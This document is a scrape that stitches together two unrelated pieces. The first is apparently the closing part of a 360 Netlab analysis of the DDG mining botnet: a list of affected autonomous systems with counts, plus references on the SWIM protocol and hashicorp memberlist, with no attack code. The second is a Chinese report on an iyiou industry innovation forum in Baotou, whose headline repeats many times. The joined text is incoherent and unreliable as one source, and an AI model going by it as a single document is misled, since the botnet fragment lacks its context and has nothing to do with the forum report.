AS24428|Beijing_Founder_Broadband_Network_Technology_Co.,Ltd 1  
AS24246|Internap_Network_Services 1  
AS24204|Satnetcom_Balikpapan_PT. 1  
AS23748|Cat_Networks_K.K. 1  
AS22552|eSited_Solutions 1  
AS21859|Zenlayer_Inc 1  
AS20299|Newcom_Limited 1  
AS19994|Rackspace_Hosting 1  
AS197071|Dennis_Rainer_Warnholz_trading_as_active-servers.com 1  
AS19429|Colombia 1  
AS18209|Atria_Convergence_Technologies_pvt_ltd 1  
AS18101|Reliance_Communications_Ltd.DAKC_MUMBAI 1  
AS17971|TM-VADS_DC_Hosting 1  
AS17968|Daqing_zhongji_petroleum_telecommunication_construction_limited_cpmpany 1  
AS17897|asn_for_Heilongjiang_Provincial_Net_of_CT 1  
AS17885|PT_Excelcomindo_Pratama 1  
AS17877|NexG_Co.,_LTD 1  
AS17775|shanghai_science_and_technology_network_communication_limited_company 1  
AS17762|Tata_Teleservices_Maharashtra_Ltd 1  
AS17623|China_Unicom_Shenzen_network 1  
AS17557|Pakistan_Telecommunication_Company_Limited 1  
AS17501|WorldLink_Communications_Pvt_Ltd 1  
AS16345|Public_Joint_Stock_Company_Vimpel-Communications 1  
AS138089|PT.Global_Media_Data_Prima 1  
AS138080|PT_Global_Media_Inti_Semesta 1  
AS138062|PT._Awan_Kilat_Semesta 1  
AS137547|Zhengzhou_Lulinke_Information_Technology_CO.Ltd. 1  
AS137539|China_Unicom 1  
AS137185|HK_GALAXY_TELECOM_HOLDING_CO.,LIMITED 1  
AS137098|Delix_Net_Solution_Pvt._Ltd 1  
AS136970|YISU_CLOUD_LTD 1  
AS136958|China_Unicom_Guangdong_IP_network 1  
AS136782|Kirin_Networks 1  
AS136561|KS_Network_Ltd 1  
AS135905|VIETNAM_POSTS_AND_TELECOMMUNICATIONS_GROUP 1  
AS135636|Rackh_Lintas_Asia,_pt 1  
AS135357|Shenzhen_Katherine_Heng_Technology_Information_Co.,_Ltd. 1  
AS135100|Maxnet_Online_Limited 1  
AS134858|iForce_Networks 1  
AS134835|Starry_Network_Limited 1  
AS134810|China_Mobile_Group_JiLin_communications_corporation 1  
AS134774|CHINANET_Guangdong_province_Shenzhen_MAN_network 1  
AS134766|CHINANET_Sichuan_province_Chengdu_MAN_network 1  
AS134761|CHINANET_Sichuan_province_Chengdu_MAN_network 1  
AS134756|CHINANET_Nanjing_IDC_network 1  
AS134553|i-Skill_Dynamics_Sdn_Bhd 1  
AS134520|GigsGigs_Network_Services 1  
AS134285|Andhra_Bank 1  
AS134238|CHINANET_Jiangx_province_IDC_network 1  
AS134088|NGN_Connection_Sdn._Bhd. 1  
AS134078|NETPLUZ_HOLDINGS_PRIVATE_LIMITED 1  
AS133847|Anpple_Tech_Enterprise 1  
AS133779|Huayun_Data_International_Limited 1  
AS133776|Quanzhou 1  
AS133731|Xinyuan_Interconnect_(HK)_Limited 1  
AS133525|Nimbus2_Pty_Ltd 1  
AS133453|Mogul_Service_and_Support_LLC 1  
AS133398|Tele_Asia_Limited 1  
AS133364|Politeknik_Negeri_Jakarta 1  
AS133273|Tata_Institute_of_Social_Sciences 1  
AS133232|SAMPARK_ESTATES_PVT._LTD. 1  
AS133118|China_Unicom_IP_network 1  
AS132974|Suraj_Network 1  
AS132883|TOPWAY_GLOBAL_LIMITED 1  
AS132692|GlobiCom_Limited 1  
AS132325|LEMON_TELECOMMUNICATIONS_LIMITED 1  
AS132116|Ani_Network_Pvt_Ltd 1  
AS131755|PT_Axarva_Media_Teknologi 1  
AS131427|AOHOAVIET 1  
AS131423|Branch_of_Long_Van_System_Solution_JSC_-_Hanoi 1  
AS131353|NhanHoa_Software_company 1  
AS131324|92Cloud_Technology_Co.,_Limited 1  
AS131090|CAT_TELECOM_Public_Company_Ltd,CAT 1  
AS11343|Webhosting_Holdings_LLC 1  
AS10109|Topica_LLC,_Internet_Service_Provider,Ulaanbaatar,_Mongolia 1  
AS10105|OMNIconnect_Pty_Ltd 1  
AS10094|Telekom_Brunei_Berhad 1  
AS10045|Hanbat_National_University 1  
ASReserved; 2  
ASNone; 1

8. 参考资料:

  • SWIM: Scalable Weakly-consistent Infection-style Process Group Membership Protocol
  • SWIM: The scalable membership protocol
  • SWIM Protocol Explained
  • Gossip Protocol
  • Lifeguard: Local Health Awareness for More Accurate Failure Detection
  • Memberlist: Golang package for gossip based membership and failure detection
  • Godoc for memberlist
  • Hashicorp memberlist 分析

Via blog.netlab.360.com

Ref. https://github.com/hashicorp/memberlist, http://www.cs.cornell.edu/projects/Quicksilver/public_pdfs/SWIM.pdf, https://arxiv.org/pdf/1707.00788.pdf], https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-server/, https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/, https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/, https://blog.netlab.360.com/a-fast-ddg-3013-analyze/, https://blog.netlab.360.com/https-blog-netlab-360-com-a-fast-ddg-3014-analyze/, https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-server/, https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/, https://msgpack.org/, https://github.com/xtaci/smux, https://lrita.github.io/2017/05/14/hashicorp-memberlist/, https://github.com/boltdb/bolt, https://twitter.com/360Netlab, http://www.cs.cornell.edu/projects/Quicksilver/public_pdfs/SWIM.pdf, https://www.brianstorti.com/swim/, https://asafdav2.github.io/2017/swim-protocol/, https://www.serf.io/docs/internals/gossip.html, https://arxiv.org/pdf/1707.00788.pdf, https://github.com/hashicorp/memberlist, https://godoc.org/github.com/hashicorp/memberlist, https://lrita.github.io/2017/05/14/hashicorp-memberlist/, https://union-click.jd.com/jdc?d=ZKPlW2

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

1月30日至1月31日,亿欧在全国12座城市举办主题为“渠道下沉,产业升级”的贺岁产业创新论坛,将新技术、新理念、新政策传达给二三线城市创业者,惠及家乡。

1月30日,“2019贺岁产业创新论坛·包头站”顺利举行。本次论坛由产业创新平台亿欧主办,包头市发展与改革委员会和东河区人民政府联合主办,以“渠道下沉·消费升级”为主题,在亿欧成立五周年之际,召集各路创业精英,将更多的创新理念、新技术和对新政策的理解分享给二三线城市的创业者。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

本次论坛邀请了东河区人民政府副区长石丽娜、经信局局长和投资促进局局长白震源、文厂局局长赵俊琴、商务局局长及供销社主任张晋如、东河区工商联主任周勇军等市区领导。我们还邀请了科技与产业创新服务平台——亿欧网联合创始人王彬、职场实名社交平台——脉脉联合创始人张伟、牙医O2O工作平台——约个牙医创始人任鹏、中云投资创始人兼董事长王钢、供应链金融——煤金网董事长李刚、包头温州商贸城总裁兼大麦电子商务董事长惠琛等嘉宾,从各自的角度阐述“渠道下沉、消费升级”的现象、本质、观点、理念和实操的思路、方法,为与会人员、为全省的企业家、创业者进行了干货分享。

活动开始,石区长首先为论坛进行了致辞。石区长分享了东河区如今的各种优势:

首先,东河区具有政策叠加优势。我们拥有中蒙俄经济走廊、“一带一路”、西部大开发、呼包鄂协同发展、呼包银榆经济区、振兴东北老工业基地等众多扶持政策,政策叠加效应,有利于承接沿海发达地区产业转移。

其次,东河区具有得天独厚的区位优势。我们拥有丰富的公路、铁路和航空物流资源,具有较强的引领、辐射、集散和发展潜力。特别是包头市全国商贸物流节点城市获批,中蒙互市贸易区,B型保税物流中心获准建设,城市知名度和影响力进一步提升。

第三,东河区具有良好的产业优势。我们具有丰富的矿产资源、农畜牧业资源,这为我们打造电商平台、大力发展现代服务业奠定了扎实的基础,也为各位企业家提供了一个绝佳的投资选择。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

2019年产业创新五大新趋势

本次论坛的第一个演讲是亿欧联合创始人兼总裁王彬为大家分享了亿欧对于2019年产业创新的五大新趋势预测。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

在内部讨论过区域保护主义、民族主义和经济危机的周期性等话题后,王彬认为2019年产业创新的新趋势可以总结为:

1、2019年中国的产业创新企业将会更加积极向海外布局,并将形成规模,不断拓展发展的新空间。

2、产业智能化和原始创新力将会助力供给侧释放巨大的新红利。

3、随着“新基础设施”的不断完善,在原有产业基础上将催生出一系列新的业态、新的产品和服务,我们可以统统把他们定义为新物种。

4、以智能科技提升供给为推力,以消费升级挖掘需求为拉力,二者凝聚起来,为产业发展提供巨大的新动能。

5、一级+二级市场的变革背景下逐步形成的新资本会更重视企业社会责任,侧重于科技创新服务实体经济、助力产业升级。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

金融创新与经济发展相协调,为区域实体经济助力

包头农村商业银行营业部副总经理武凯认为2019年最重要的是中小企业融资难、融资贵的问题,要加社会信用体系建设,同建企业、政府间的互动机制,创建和完善政策性融资担保体系,要理清我们到底要用什么样的政策性金融支持实体经济,用什么样的金融创新方式支持实体经济。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

口腔医生自由执业平台创业历程分享

约个牙医创始人任鹏现场就“互联网时代的精益创业”进行主题分享,他从自身实战经历出发,为现场创业者提出了两个宝贵意见:第一,创业中,要利用资源,但不要依赖资源。第二目前创业已经竞争激烈,市场供过于求。创业成功的几率非常低,所以在你开始创业前请先想好自己的服务是否能成为闭环,是否能为客户提供不可替代的价值。

精益创业的本质就是找自己能做什么,这非常重要。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

快乐工作,移动互联网“能力”演变

脉脉联合创始人兼未来俱乐部CEO张伟也从自己创业创新角度展开演讲,他自己总结归纳了互联网行业创业公式:互联网不神秘,让数据流动起来;让没有数据的行业产生数据。

例如滴滴打车,过去乘客盲打,风里雨里在路边招手打车,司机也不知道谁将坐我的车。现在通过线上化的平台,增加了信息的流通,提升出行市场的效率和规范。脉脉定位最大的职场信息平台,所以在整体移动互联网发展中,公司也在不断利用新技术,新模式产生价值。总体而言,创新的核心就是提高效率,提供价值。所以,当你有了新的创业项目,不妨想想这两点。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

金融科技推动产业生态链赋能

华泰证券包头东河机构部总监霍忠为我们分享了金融科技如何推动物流产业生态链集成,并针对不同的对象,对四点方案作出了解读。

基于金融机构:联合中国工商银行、光大银行、中国银联,中国银联小微企业卡、银行的账户体系与标准金融服务体系为依托;

基于支付的供应链平台数据化:联合拉卡拉、银盛支付、中网支付。通过支付服务,把供应链金融服务平台化,通过银企直联实现服务数据化;

基于小微企业的合规与融资难:小微企业的金融业务合规性,与金融融资难的因素。产品集合了中国银联小微企业卡的优势、支付业务优势、银行金融服务优势解决小企业困难,包括了小企业的费用管理服务;

基于核心企业的应收应付业务:核心企业供货方资金压力与下游企业的仓储压力,实现企业的金融服务。

除此之外,还从政策、商业、产业链、分账和结算分享了金融科技赋能产业链的应用实例。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

转型进行时,智能化服务驱动产能

中云投资创始人兼董事长王钢认为数字化时代传统企业的生存之道有四把钥匙,这是改变人类生产方式的“快变量”:

用全新的机制组建团队

基于网络协同的高效率

基于数据智能的精准服务

基于机器信任的价值交易

而推动中国经济发展除了快变量,还有三个主要的慢变量:城市化、工业化和技术创新。在未来产业创新的过程中,应当快慢结合,增强信心,戒骄戒躁。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

渠道下沉,非一线城市环境下的智能创新探索之道

在活动最后的圆桌论坛环节,四位嘉宾就主持人和现场观众的问题一一作了解答。成都跨境电商产业园董事长麻宾提出“找人、找钱、找事”对于包头创业者至关重要。

亿欧公司联合创始人兼总裁王彬认为亿欧的能力主要是组织能力。“找人、找钱、找事”确实对创业企业非常关键,阿里巴巴、华为、小米、腾讯也都在优化组织架构。亿欧坚持271人才盘点,2019年6月份会开始执行末位淘汰。优化是一方面,如何培养人才是关键。美团一直在用不变的人,尝试更多项目。亿欧也在培养综合人才。这次举办这次活动的核心也是,同事会发现比自己优秀的人依然留在家乡,建设家乡。通过交流,我们发现这里有更广袤的市场,科技就应该去赋能这样的领域,希望在外奋斗的人与家乡日后增加更多交流。

煤金网董事长李刚提到煤金网开始在包头招人很困难,等自己产品打磨好,逐渐在网上开始推广招人。三年多发展以来,没有有接受外部资金。随着壮大,现在也在与银行和资本对接。对于平台来说,将来的发展将会更有潜力,我们业务本来对接生产商、终端、农场、生产厂家,所以人才是关键,要吸引过来。

脉脉联合创始人兼未来俱乐部CEO张伟认为即使是独角兽,目前还在创业的状态,这是一个非常多变的环境。创业者要对现在做的事情有敬畏之心。目前来看,员工培养核心是增强人的再学习能力。我们发现很多启发源于做事的时候,不能纸上谈兵。美国的人效比远远超过中国,中国企业赚钱太容易了,不注重对人的培养,对人的持续学习能力的培养,公司也不会走的长远。

温州商贸城董事长惠琛认为,内蒙人出人才,看到如此多的创业者心里很兴奋。随着互联网+的演变,包头有了更多新兴项目的落地。2019年的关键词对于很多企业来说,是怎么能活下来。企业需要做好准备,希望更多落地,接地气的活动在包头举办,让本土创业者受益。目前,据我们观察,在生活服务类,金融类在非一线城市的探索反而更加猛烈,这里成为新型需求竞争地。正如张伟提到,创业者要有前瞻性,预判行业发展方向,才有更多可能。希望更多内蒙古本土企业吸纳更多优质人才,使本土的项目更加具备竞争力,走出中国,走向海外。

“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展
“2019贺岁产业创新论坛·包头站”成功举办——消费升级下的包头发展

此次有以亿欧主办的贺岁产业创新论坛是首次在包头举办,并取得不错的反响。本次论坛由亿欧主办,感谢联合主办方包头市发展与改革委员会、东河区人民政府,感谢东河区双创示范园区、同方冠联对于场地和放映设备的大力支持。感谢包头日报、今日头条等媒体对本次活动的追踪报道。

亿欧本次主办沙龙旨在为创业者提供一个交流的平台,让理念下行,让需求上行,使更多的人关注到新科技、新理念,以促进产业创新升级。把世界先进国家的新科技、新理念引入中国、把北上深杭一线城市的新科技、新理念引入更广泛的二三线城市;把科技互联网公司的先进思维、工具产品甚至人才,引入到更广泛的线下企业,助力企业转型升级。未来,亿欧的产业创新论坛将继续来到内蒙古,以呼和浩特和包头为中心,辐射周边的实体企业主来此交流,以期达成作为新技术、新理念、新政策与实体产业的连接器的作用。

版权声明

本文来源亿欧,经亿欧授权发布,版权归原作者所有。转载或内容合作请点击转载说明,违规转载法律必究。

Via www.iyiou.com

Ref. https://union-click.jd.com/jdc?d=ZKPlW2